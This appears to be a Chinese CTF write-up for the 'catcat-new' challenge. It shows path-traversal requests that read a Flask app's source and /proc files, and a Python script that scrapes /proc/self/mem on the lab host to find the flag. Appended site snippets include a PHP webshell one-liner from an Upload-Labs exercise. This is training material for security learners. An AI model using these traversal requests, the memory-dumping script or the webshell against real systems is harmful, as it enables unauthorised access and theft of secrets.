【网络安全/CTF】catcat-new

该题考察文件包含漏洞

正文

在这里插入图片描述

看到file参数,考虑文件读取

在这里插入图片描述

读取当前进程的命令行参数

?file=../../../../proc/self/cmdline

在这里插入图片描述

读取app.py:

在这里插入图片描述

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)'

格式化:

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat# 初始化变量
flag = ""
app = Flask(__name__,static_url_path='/',static_folder='static'
)# 设置 Flask 的密钥
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"# 检查是否存在标志文件,并读取标志内容
if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")# 主页路由
@app.route('/', methods=['GET'])
def index():# 获取 details 文件夹下的文件名列表detailtxt = os.listdir('./details/')cats_list = []for i in detailtxt:# 提取文件名中的猫名并添加到列表中cats_list.append(i[:i.index('.')])# 渲染主页模板,传递猫名列表和 cat 函数给模板return render_template("index.html", cats_list=cats_list, cat=cat)# 详情页路由
@app.route('/info', methods=["GET", 'POST'])
def info():# 获取请求参数filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 渲染详情页模板,传递猫名、详情信息给模板return render_template("detail.html", catname=name, info=cat(filename, start, end))# 管理员权限路由
@app.route('/admin', methods=["GET"])
def admin_can_list_root():# 检查是否具有管理员权限if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"# 启动 Flask 应用
if __name__ == '__main__':app.run(host='0.0.0.0', debug=False, port=5637)

关键在于:

    if session.get('admin') == 1:return flag

也就是说当session为admin时,即可得到flag

所以我们需要伪造session为admin

而session伪造的必要条件是获取SECRET_KEY读取

读取/proc/self/maps获得当前应用运行的内存映射信息:

在这里插入图片描述

读取cat.py

在这里插入图片描述

格式化:

import os, sys, getopt# 定义一个函数,用于读取指定文件的部分内容
def cat(filename, start=0, end=0) -> bytes:data = b''try:start = int(start)end = int(end)except:start = 0end = 0# 检查文件是否存在并可读if filename != "" and os.access(filename, os.R_OK):f = open(filename, "rb")if start >= 0:f.seek(start)if end >= start and end != 0:data = f.read(end - start)else:data = f.read()f.close()else:data = ("File `%s` not exist or cannot be read" % filename).encode()return dataif __name__ == '__main__':# 解析命令行参数opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])fileName = ""start = 0end = 0for opt_name, opt_value in opts:if opt_name == '-h' or opt_name == '--help':# 打印帮助信息print("[*] Help")print("-f --file File name")print("-s --start Start position")print("-e --end End position")print("[*] Example of reading /etc/passwd")print("python3 cat.py -f /etc/passwd")print("python3 cat.py --file /etc/passwd")print("python3 cat.py -f /etc/passwd -s 1")print("python3 cat.py -f /etc/passwd -e 5")print("python3 cat.py -f /etc/passwd -s 1 -e 5")exit()elif opt_name == '-f' or opt_name == '--file':# 获取文件名参数fileName = opt_valueelif opt_name == '-s' or opt_name == '--start':# 获取起始位置参数start = opt_valueelif opt_name == '-e' or opt_name == '--end':# 获取结束位置参数end = opt_valueif fileName != "":# 调用 cat 函数并打印结果print(cat(fileName, start, end))else:print("No file to read")

其中

 if start >= 0:f.seek(start)if end >= start and end != 0:data = f.read(end-start)

用于读取start到end地址间的数据

我们已经读取了/proc/self/maps获得了应用运行的内存映射信息,接下来的思路就是:读取/proc/self/mem获得当前内存的详细信息,由于在app.py的info()方法从HTTP请求中接收了start和end参数,即可传参,从而读取任意文件中任意两个地址之间的数据,最后使用正则表达式匹配字符串\w+{\w+}直接获取flag

脚本如下:

import requests
import rebaseUrl = "http://61.147.171.105:64383/info?file=../../../../.."if __name__ == "__main__":url = baseUrl + "/proc/self/maps"# 发送 HTTP 请求并获取响应文本,然后按换行符进行分割memInfoList = requests.get(url).text.split("\\n")mem = ""for i in memInfoList:# 使用正则表达式匹配内存地址信息memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if memAddress:# 将匹配到的内存地址转换为十六进制数start = int(memAddress.group(1), 16)end = int(memAddress.group(2), 16)# 构造新的 URL,用于获取特定内存片段的内容infoUrl = baseUrl + "/proc/self/mem&start=" + str(start) + "&end=" + str(end)# 发送 HTTP 请求并获取响应文本mem = requests.get(infoUrl).text# 如果响应文本中包含形如 "{xxx}" 的字符串,则打印出来if re.findall(r"{[\w]+}", mem):print(re.findall(r"\w+{\w+}", mem))

结果如下:

在这里插入图片描述

得到flag

catctf{Catch_the_c4t_HaHa}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/299382.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Ai画板原理

在创建时画板可以选择数量和排列方式 也可以采用这个图片左上的画板工具,选择画板在其他地方画框即可生成,同时可以在属性框中可以修改尺寸大小 选择全部重新排列可以进行创建时的布局

Wi-Fi、蓝牙、ZigBee等多类型无线连接方式的安全物联网网关设计

随着物联网和云计算技术的飞速发展.物联网终端的数量越来越多,终端的连接方式也更趋多样化,比如 Wi-Fi蓝牙和 ZigBee 等。现有的物联网网关大多仅支持一种或者几种终端的接人方式。无法满足终端异构性的需求。同时,现有的物联网网关与终端设备…

SpringMVC之跨域请求

系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加 SpringMVC之跨域请求 提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 系列文章目录前言一、什么是同源策略…

SpringMVC:整合 SSM 下篇

文章目录 SpringMVC - 05整合 SSM 下篇一、设计页面1. 首页:index.jsp2. 展示书页面:showBooks.jsp3. 增加书页面:addBook.jsp4. 修改书页面:updateBook.jsp5. 总结 二、控制层1. 查询全部书2. 增加书3. 修改书4. 删除书5. 搜索书…

css的定位

为什么需要定位? 场景: 某个元素可以自由的在一个盒子内移动位置,并且压住其他盒子当我们滚动窗口的时候,盒子是固定屏幕某个位置的。 这二个需求,使用标准流和浮动的方式是无法实现的或者是不容易实现,所以…

Upload-Labs-Linux

题目 1.打开靶机 随便上传一个图片&#xff0c;查看get请求发现/upload/XXX.jpg 2.创建一个脚本文件 命名为flag.php.jpg,并上传 脚本文件内容&#xff1a; <?php eval($_POST[1234])?> 3上传后复制文件get请求的链接并打开蚁剑 连接密码为123 双击链接 4&#xff…

Win10电脑卡顿不流畅的解决方法

在Win10电脑操作过程中&#xff0c;用户反映电脑运作卡顿不流畅&#xff0c;非常影响自己的操作效率&#xff0c;想知道有什么方法能够解决卡顿的问题&#xff1f;下面小编给大家分享三种简单且有效的解决方法&#xff0c;从而提升Win10电脑的运作速度&#xff0c;运作更顺畅&a…

Linux 与 Shell

Linux系统的四部分&#xff1a;Linux系统的核心是内核。内核主要负责四种功能&#xff1a; 系统内存管理 操作系统内核的主要功能之一&#xff1a;内存管理。&#xff08;物理内存 虚拟内存&#xff09;内核通过硬盘上称为交换空间&#xff08;swap space&#xff09;的存储区…

微机原理与接口技术——8254定时器/计时器

文章目录 一、 掌握8254定时器/计数器的基本结构1、控制寄存器2、计数器&#xff08;16位&#xff09;3、8254端口地址 二、8254的工作方式方式2——分频器方式3——方波发生器工作方式比较 三、例题四、8254在PC机上应用五、8254初始化编程例子BCD码计数二进制计数 一、 掌握8…

等级保护的基本要求(一)

目录 等级保护的标准定位 其他标准的关系 标准适用范围 标准编写思路 描述模型 基于安全保护能力 能力目标 第一级安全保护能力 第二级安全保护能力 第三级安全保护能力 第四级安全保护能力 描述模型-管理要求特点 描述模型-覆盖范围特点 等级保护的标准…

redis哨兵+redis主从复制(在虚拟机centos的docker下)

1.安装docker Docker安装(CentOS)简单使用-CSDN博客 2.redis主从复制 redis主从复制(在虚拟机centos的docker下)-CSDN博客 3.编辑3个redis配置 cd /etc mkdir redis-sentinel cd redis-sentinel/ wget http://download.redis.io/redis-stable/sentinel.confcp sentinel.co…

【前端查漏补缺】每日10题 2023-12-25

1. 实现lodash _get方法 _.get 是 Lodash 库中的一个方法&#xff0c;用于按照给定的路径从对象中获取值。它是一种安全的方式&#xff0c;可以避免在获取嵌套属性时出现的空指针错误。 _.get 方法的语法如下&#xff1a; _.get(object, path, [defaultValue])参数说明&…